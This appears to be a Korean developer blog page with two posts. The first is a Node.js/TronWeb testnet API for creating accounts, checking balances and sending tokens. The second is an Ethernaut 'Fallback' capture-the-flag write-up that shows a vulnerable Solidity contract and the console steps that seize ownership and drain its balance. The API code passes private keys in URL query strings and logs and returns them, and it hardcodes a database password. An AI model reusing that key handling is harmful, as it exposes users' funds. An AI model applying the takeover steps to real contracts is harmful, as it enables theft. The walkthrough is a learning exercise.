TronScan(제작 완료)

트론 2019. 1. 10. 10:29

참고 : https://github.com/tronscan/tronscan-api

 

이더스캔은 이더스캔 API로 잠깐 깔짝 때보고 회사 업무상 트론을 계속 보게

 

되었는데  트랜젝션 조회 트론스캔을 어떻게 접근해야 될지 고민중이다.

 

지금 현재 트론 상황은  token발행 심볼때문에  몇몇 함수가 막혀 있다.

 

그중에 하나인 tronWeb.trx.getTransactionsRelated  도 지금 사용이 불가능다.

1. full node를 동기화시켜서 DB에 넣을지?

2. 특정 Token에 대한 것만 DB에  넣을지?

 

input /output에 대한 결과를 어떻게 사용자에게 보여주는게 좋을지 판단이 안선다.

 

그래서 우선  트론스캔에 있는 tx를 웹에서 파싱해서 한번 넣어보자...

API가 제공안하니 웹파싱해서 넣는다 해도 큰 무리는 없을것이다.

 

https://tronscan.org/#/transaction/51d1994d5d36693299bba3ed3002ca46849922fd80df0446acbd28609948d09d

index.js

var express = require('express');
var router = express.Router();
const TronWeb = require('tronweb');
const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io/';
var privateKey = '123';

var mysql = require('mysql');
var connection = mysql.createConnection({
        host: 'localhost',
        post: 3306,
        user: 'tkpark',
        password: '1234',
        database: 'tkpark'
    });
const tronWeb = new TronWeb(
fullNode,
solidityNode,
eventServer,
privateKey
  );
tronWeb.setDefaultBlock('latest');
const nodes = tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([ name,   connected]) => {
        if (!connected)
                  console.error(`Error: $ {name}is not connected`);
        return connected;
}).includes(false);
if (!connected)
      res.json( {'result':'connect fail'})
router.get('/createAccount/',function(req,res,next) {
        const account = tronWeb.createAccount();
        account.then(function (account) { const isValid = tronWeb.isAddress(account.address['hex']);
                console.log('- Private Key:',   account.privateKey);
                console.log('- Base58:',        account.address.base58);
                console.log('- Valid: ',        isValid,        '\n');
                account.isValid = isValid;
                res.json( {'result':account.privateKey, '- Base58': account.address.base58});
        });
});
router.get('/getBalance/:Address',function(req,res,next) {
        const app = async () => {
                try {
                        const Add = req.params.Address;
                        const gBalance = await tronWeb.trx.getBalance(Add);
                        const gBandwidth = await tronWeb.trx.getBandwidth(Add);
                        console.log("getBalance : ", gBalance);
                        console.log("getBandwidth : ", gBandwidth);
                        console.log("   ", Add);
                        res.json( { "getBalance  ": gBalance, "getBandwidth": gBandwidth, "123": Add})
                }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});


router.get('/transactionview',function(req,res,next) {
                try{
                        var Address = req.query.Address;
                        var select_sql = "select *, \"send\" from transactionscan where from_address=? union all select *, \"receive\" from transactionscan where to_address=? order by idx desc;";
                        connection.query(select_sql, [Address, Address], function (err, rows, fields) {
                        if (!err) {
                                var resultdown = JSON.stringify(rows);
                                var TRList = JSON.parse(resultdown);
                                var Result_data = [];
                                for(var i=0; i<TRList.length; i++){
                                        var TR=TRList[i];
                                        var info = {
                                                send: TR.send,
                                                idx: TR.idx,
                                                from_address: TR.from_address,
                                                to_address: TR.to_address,
                                                amount: TR.amount,
                                                txid: "https://shasta.tronscan.org/#/transaction/"+ TR.txid
                                        };
                                        Result_data.push(info);
                                }
                                var result_end={
                                        count: Result_data.length, // count
                                        Result_data: Result_data
                                };
                                console.log(result_end);
                                res.send(result_end);
                                } else {
                                console.log('query error : ' + err);
                                }
                        });
                }catch (error) { console.log('Task Failure',error);
                }

});
router.get('/sendToken',function(req,res,next) {
        const app = async () => {
                try {
                        const gPK = req.query.PK;
                        privateKey = tronWeb.setPrivateKey(gPK);
                        const gvalue = req.query.value;
                        const gsendAddress = await tronWeb.address.fromPrivateKey(gPK);
                        const gtoAddress = req.query.toAddress;
                        var txid = "";
                        var result = "";
                        var insert_sql = "insert into transactionscan (from_address, to_address, amount, txid) values (?, ?, ?, ?)";
                        var select_sql = "select * from transactionscan where txid=?";
                        /*
                        console.log("gPK : ", gPK);
                        console.log("gvalue : ", gvalue);
                        console.log("gsendAddres :", gsendAddress);
                        console.log("gtoAddress : ", gtoAddress);
                        */
                       sendTransaction = await tronWeb.transactionBuilder.sendToken(gtoAddress, gvalue, "1002003", gsendAddress);

                        const signedTransaction = await tronWeb.trx.sign(sendTransaction);
                        const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction);
                        result = JSON.stringify(sendRaw, null, 2);
                        var TRList = JSON.parse(result);
                        var txid = TRList.transaction.txID;
                        /*
                        console.log('- Transaction:\n' + TRList.transaction.txID);
                        res.json( { "gPK  ": gPK, "gvalue  ": gvalue, "gsendAddres ": gsendAddress, "gtoAddress": gtoAddress,'- Transaction:n': TRList.transaction.txID, "Transaction\n": JSON.stringify(sendRaw, null, 2)});
                        */

 var params = [gsendAddress, gtoAddress, gvalue, txid];
                        connection.query(insert_sql, params, function (err, rows, fields) {
                        if (!err) {
                                console.log('query error : ' + err);
                                //res.send(err);
                         }
                        });
                        connection.query(select_sql, txid, function (err, rows, fields) {
                        if (!err) {
                                console.log(rows);
                                var resultdown = 'rows : ' + JSON.stringify(rows);

                                res.send(resultdown);
                                } else {
                                console.log('query error : ' + err);
                                }
                        });
                        }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});

 

module.exports = router;

 

실행결과

 

계좌신청
http://192.168.0.118:3000/createAccount/

 

잔액조회 지갑주소
http://192.168.0.118:3000/getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
http://192.168.0.118:3000/getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc

 

송금
http://192.168.0.118:3000/sendToken?PK=@@@@@&value=@@@@&toAddress=@@@@@@@@@@

송금시 API가 변경되어서 꼭 tronWeb.setPrivateKey로 다시 세팅하고

받는 사람 주소를 인자에 넣어야 된다.

 tronWeb.transactionBuilder.sendTrx(gtoAddress, gvalue, gsendAddress);

 

 

트렌젝선 조회
http://192.168.0.118:3000/transactionjson?Address=TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih

 

 

Mysql DB스키마

CREATE TABLE `transactionscan` (
  `idx` int(11) NOT NULL AUTO_INCREMENT,
  `from_address` varchar(100) NOT NULL COMMENT '보내는 사람 주소',
  `to_address` varchar(100) NOT NULL COMMENT '받는 사람  주소',
  `amount` bigint(20) NOT NULL COMMENT '양',
  `txid` varchar(150) NOT NULL COMMENT '트랜젝션 id',
  `regdate` datetime default current_timestamp,
  PRIMARY KEY (`idx`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='트랜젝션 조회 테이블';

 

MariaDB [tkpark]> desc transactionscan;
+--------------+--------------+------+-----+-------------------+----------------+
| Field        | Type         | Null | Key | Default           | Extra          |
+--------------+--------------+------+-----+-------------------+----------------+
| idx          | int(11)      | NO   | PRI | NULL              | auto_increment |
| from_address | varchar(100) | NO   |     | NULL              |                |
| to_address   | varchar(100) | NO   |     | NULL              |                |
| amount       | bigint(20)   | NO   |     | NULL              |                |
| txid         | varchar(150) | NO   |     | NULL              |                |
| regdate      | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
+--------------+--------------+------+-----+-------------------+----------------+

 

 

 

select *, \"send\" from transactionscan where from_address=? union all select *, \"receive\" from transactionscan where to_address=? order by idx desc

해당 쿼리에 대한 결과다.

 

쿼리구문은 당연히 ?가 들어가는 prepared statement

sql 인젝션 방지까지 된다.

 

마지막 부분 조회할때는 지갑 A, B주소로  서로 송금 해보고

A주소로 조회시 send,

파란색 주소를  트랜젝션 조회하면  send한부분 recieve한 부분 보여진다.

빨간색 주소를 트랜잭션 조회해도  send한부분 recieve한 부분 보여진다.

 

트랜젝션 조회시 tronscan 원본에도 조회 되도록

https://shasta.tronscan.org/#/transaction/
4533bb973d7cd4dccc1805b0e43e2a7b341f0e02d23ab8febbe58b994fb8ee73

링크를 함께 뿌려주고 있다.

 

코드 좀 정리 해서 github 라는놈도 한번 써봐야곘다.

회사에서 필요하는 만큼 빨리 잘 만들었다.

 

Dapp 개발하면서 느끼지만 메인넷은 이더리움과 비트코인과 같이

글로벌한 천재들이 있던지

아니면 트론처럼 직원이 많아야 된다.

web3.js나 tronweb이나 API를 유지보수해야될 인력도 어마 어마하게

필요하기 때문이다.

 

 

 

 

 

블로그 이미지

iesay

,

요청시 계속  Pk와 wallet address를 토하는걸 제작중이다.

계좌 던졌을때 balance와 bandwidth를 조회하는것도 같이 한다.

대역폭은 수수료다 하루에 10번까지 예전에 보낸 기록이 있던 계좌면 무료다

 

 

index.js

var express = require('express');
var router = express.Router();
const TronWeb = require('tronweb');
const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io/';
var privateKey = '123';
const tronWeb = new TronWeb(
fullNode,
solidityNode,
eventServer,
privateKey
  );
tronWeb.setDefaultBlock('latest');
const nodes = tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([ name, connected]) => {
 if (!connected)
           console.error(`Error: $ {name}is not connected`);
 return connected;
}).includes(false);
if (!connected)
      res.json( {'result':'connect fail'})
router.get('/createAccount/',function(req,res,next) {
 const account = tronWeb.createAccount();
 account.then(function (account) { const isValid = tronWeb.isAddress(account.address['hex']);
  console.log('- Private Key:', account.privateKey);
  console.log('- Base58:', account.address.base58);
  console.log('- Valid: ', isValid, '\n');
  account.isValid = isValid;
  res.json( {'result':account.privateKey, '- Base58': account.address.base58});
 });
});
router.get('/getBalance/:Address',function(req,res,next) {
 const app = async () => {
  try {
   const Add = req.params.Address;
   const gBalance = await tronWeb.trx.getBalance(Add);
   const gBandwidth = await tronWeb.trx.getBandwidth(Add);
   console.log("getBalance : ", gBalance);
   console.log("getBandwidth : ", gBandwidth);
   console.log("   ", Add);
   res.json( { "getBalance  ": gBalance, "getBandwidth": gBandwidth, "123": Add})
  }catch (error) { console.log('Task Failure',error);
  }
 };
 app();
});

router.get('/sendToken',function(req,res,next) {
        const app = async () => {
                try {
                        const gPK = req.query.PK;
                        privateKey = gPK;
                        const gvalue = req.query.value;
                        const gtoAddress = req.query.toAddress;

                        console.log("gPK : ", gPK);
                        console.log("gvalue : ", gvalue);
                        console.log("gtoAddress : ", gtoAddress);
                       sendTransaction = await tronWeb.transactionBuilder.sendToken(gtoAddress, gvalue, "1002003", gsendAddress);

                        const signedTransaction = await tronWeb.trx.sign(sendTransaction);
                        const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction);
                        console.log('- Transaction:\n' + JSON.stringify(sendRaw, null, 2), '\n');

                        res.json( { "gPK  ": gPK, "gvalue  ": gvalue, "gtoAddress": gtoAddress, "Transaction\n": JSON.stringify(sendRaw, null, 2)});

                }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});


module.exports = router;

 

 

실행 화면

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 610.476 ms - -
- Private Key: AE3F46DE20C1EAF287DDA3CDE20A653031C67517FA87AA4641B271D314821F68
- Base58: TSqkCrLPJVxyuapdY5tjptBKFdR1bVEr5x
- Valid:  true

GET /createAccount/ 200 57.919 ms - 125
- Private Key: F64E51F20F91C6407B9B67A7D98BEA5D81F5F995D652E0AF2C663C4F76ED52B0
- Base58: THYQkYZ7nxWZ9YvMuaSDBYGKcXweTErbMb
- Valid:  true

GET /createAccount/ 200 41.523 ms - 125
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 560.224 ms - -
getBalance :  2000000
getBandwidth :  5000
    TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
GET /getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 304 604.726 ms - -

 

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
gPK :  @@@@@@@
gvalue :  1000000
gtoAddress :  TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
- Transaction:
{
  "result": true,
  "transaction": {
    "txID": "651d95843f1a4e62c669550425a1844d800f7670b2071e7

2d10418ec724c4cad",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1000000,
              "owner_address": "4179196b90d1e952c5a43d4847caa

08d50b967c34a",
              "to_address": "41b0720a94d13ef83434e1385b543c9

291c79a6d14"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "49c0",
      "ref_block_hash": "5fff2fda293153a4",
      "expiration": 1547082969000,
      "timestamp": 1547082910093
    },
    "signature": [
      "1af3e48aa97d19a9465e2d56ac3b4541dd33abcbaea0c3dadab3a760c6b

2672c033692fe4454b6f2201d2d8bc4d39c806d84a5a4bfafa95a2e4

075a0aba376b700"
    ]
  }
}

GET /sendToken?PK=03f567e0189e1341a5c8d32817acf7dafcfbb3e2860599d2d4f322ff7b3

247ed&value=1000000&toAddress=TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 200 742.649 ms - 1118
GET /favicon.ico 404 366.336 ms - 1012

 

 

계좌생성

http://192.168.0.118:3000/createAccount/

 

 

GET트랜젝션에서 지갑주소를 바꿔서 조회해도 잘 동작함

http://192.168.0.118:3000/getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih

 

차후  https로 하고 POST로 변경할것이다.

 

send trx 트론 송금

송금은 이전에 작성한 부분이 있어서 쉽게 개발이 가능했다.

 

tron-web 분해하기2(transactionBuilder.sendTrx)

http://iesay.tistory.com/104

보내는 from주소는 개인키에서 추출이 가능하기 때문에 인자를

구지 넣지 않아도 된다.

 

 

http://192.168.0.118:3000/sendToken?PK=개인키&value=1000000&toAddress

=받는사람 주소

 

 

이상으로 nodejs express를 활용한

 

계좌생성, 잔액(대역폭)조회, 송금 API를 제작해 보았다.

 

 

블록체인으로 암호화폐 구현하면서 가장 큰 부분이 이론을 알고 생각을 하면서

코딩을 해야 된다. 이게 좀 많은 초심자들의 장벽이 아닐까 한다.

 

비동기 방식에 대한 이해를 많이 하게 되었다

왜 콜백지옥에 빠지는지 콜백 환경에서 왜 디버깅 하기가 힘든지

실력이 없어서 한 일주일 정도 걸린거 같다.

 

이제 트랜젝션 조회 제작해보자.

 

 

 

 

 

 

 

 

 

'트론' 카테고리의 다른 글

tron Token Balance (trc10)  (0) 2019.01.29
TronScan(제작 완료)  (0) 2019.01.10
tron-web 분해하기5(createToken)  (0) 2018.12.20
tron-web 분해하기4(getTransactionstoAddress)  (0) 2018.12.19
tron-web 분해하기3(getTransactionsFromAddress)  (0) 2018.12.18
블로그 이미지

iesay

,

레벨 1. Fallback

https://ethernaut.zeppelin.solutions/level/0x234094aac85628444a82dae0396c680974260be7

 

 

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units -see help() command-
  • Fallback methods

 

자 다음 문제다.

 

계약의 소유권을 뺏고  Root권한을 뺏는것과 비슷하다.

 

해커들은 먼가를 뺏어야된다?!

 

그리고 잔액을 0을 만들라고 한다.

 

Untitled.sol

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

 

 

Ownable.sol

pragma solidity ^0.4.18;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

 

 

 

 

pragma solidity ^0.4.18버전이다 그러면

select에서  0.4.18의 최신버전을 맞추어 주고

 

Auto complie 옵션을 체크하는게 좋다.

버전 안맞아서 에러 뜨는 경우가 흔하다.

 

import에서 Ownable.sol파일과 함께 컴파일 된다.

 

 

 

 

 

 

 

문제 소스를 보면 contribute()를 실행하는데 이더를 0.001 ether보다

작게 보내면  오너 권한을 잠시 빌리게 된다.

 

 

그리고 withdraw()를 실행하면

owner.transfer(this.balance);

 

잔액을 가지고 오는 형태다.

플레이어주소 = 메타마스크 주소다.

 

메타마스크가 자바스크립트로 되어 있어서

호환된다.

 

이문제는 솔리디티 컴파일 안해도 풀수 있는 문제이긴 하다.

 

 

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f

 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

 

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

 

계좌가 0원된거 확인

await getBalance(instance)
"0"

 

 


 

 

처음은 두 주소가 다르지만

권한을 획득하면 두 주소가 같게 되면서 다음문제를 풀수 있다.

 

 

메타마스크를 통해 인스턴스 주소를 보내면 

owner와 player의 계좌가 동일 한걸 알수 있다.

 

 

 

 

 

스마트컨트렉 취약점은 졸라 무서운게 PK가 없더라도 돈을 빼올수 있다.

 

일반 집이든 근로든 계약서 잘 신경쓰라고 하는것도

 

같은거다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 0. Hello Ethernaut  (0) 2018.12.28
블로그 이미지

iesay

,